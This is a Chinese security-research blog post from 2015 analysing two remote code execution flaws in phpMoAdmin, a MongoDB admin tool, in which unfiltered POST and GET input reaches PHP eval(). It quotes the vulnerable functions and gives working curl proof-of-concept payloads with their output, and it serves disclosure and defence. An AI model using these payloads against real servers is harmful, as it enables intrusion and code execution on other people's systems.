RSS Feed
更好更安全的互联网

MongoDB 管理程序 phpMoAdmin 远程代码执行漏洞分析

2015-03-04

文 / 知道创宇研究团队    2015 . 03 . 04

近日,在国外媒体 thehackernews 上有报道称:开源 MongoDB 的管理程序 phpMoAdmin 存在严重的安全漏洞,并称该漏洞信息已经在黑市上流传!就在今日,安全社区公布了相关漏洞细节及利用程序,同时,有很多公司及组织对该漏洞进行了分析。知道创宇研究团队分析代码后发现:phpMoAdmin 存在多个远程代码执行漏洞点,且这些漏洞点被很多包括安全人员在内的人忽视了。

以下是我们的具体分析报告。

漏洞分析

phpMoAdmin 存在代码执行的漏洞点其实有 2 个:

1、存在于 saveObject() 函数里,代码如下:

public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';'); //cast from string to array
return $this->mongo->selectCollection($collection)->save($obj);
}

$obj 变量进入了 eval() 导致代码执行,我们再看看 saveObject() 的调用:

代码 787 - 793 行

if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}

POST 提交的 $_POST['object'] 没有任何过滤进入了 saveObject()

漏洞测试:

➜  ~  curl "http://test.knowsnec-demo.com/moadmin.php" -d "object=1;print(md5(11111));exit;"

Notice: Undefined index: collection in /home/public_html/moadmin.php on line 789
b0baee9d279d34fa1dfd71aadb908c3f%

这个也就是安全社区公布的利用方法。然而还有另外一个可以导致任意代码执行的漏洞点被忽视了……

2、存在于 listRows() 函数里,代码行 546 - 562:

public function listRows($collection) {
foreach ($this->sort as $key => $val) { //cast vals to int
$sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}

其中,变量 $_GET['find'] 没有经过过滤而直接进入了 eval() 导致代码执行,注意需要绕过 strpos($_GET['find'], 'array') === 0 这个判断。找到 listRows() 的调用方式后就可以触发这个漏洞了。

漏洞测试:

➜  ~  curl "http://test.knowsnec-demo.com/moadmin.php?db=admin&action=listRows&collection=zzz&find=array(1);print(md5(111));exit;"
698d51a19d8a121ce581499d7b701668%

修复方案:

我们注意到,phpMoAdmin 在 github 开源项目的更新时间还是在 2 年前,漏洞曝光后到目前为止没有看到相关安全补丁及更新发布。我们建议直接删除 phpMoAdmin 的相关文件,换用其他 MongoDB 管理程序。

参考:
http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
http://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP
http://www.exploit-db.com/exploits/36251/

作者:明冉 刘 | Categories:安全研究技术分享 | Tags:

发表评论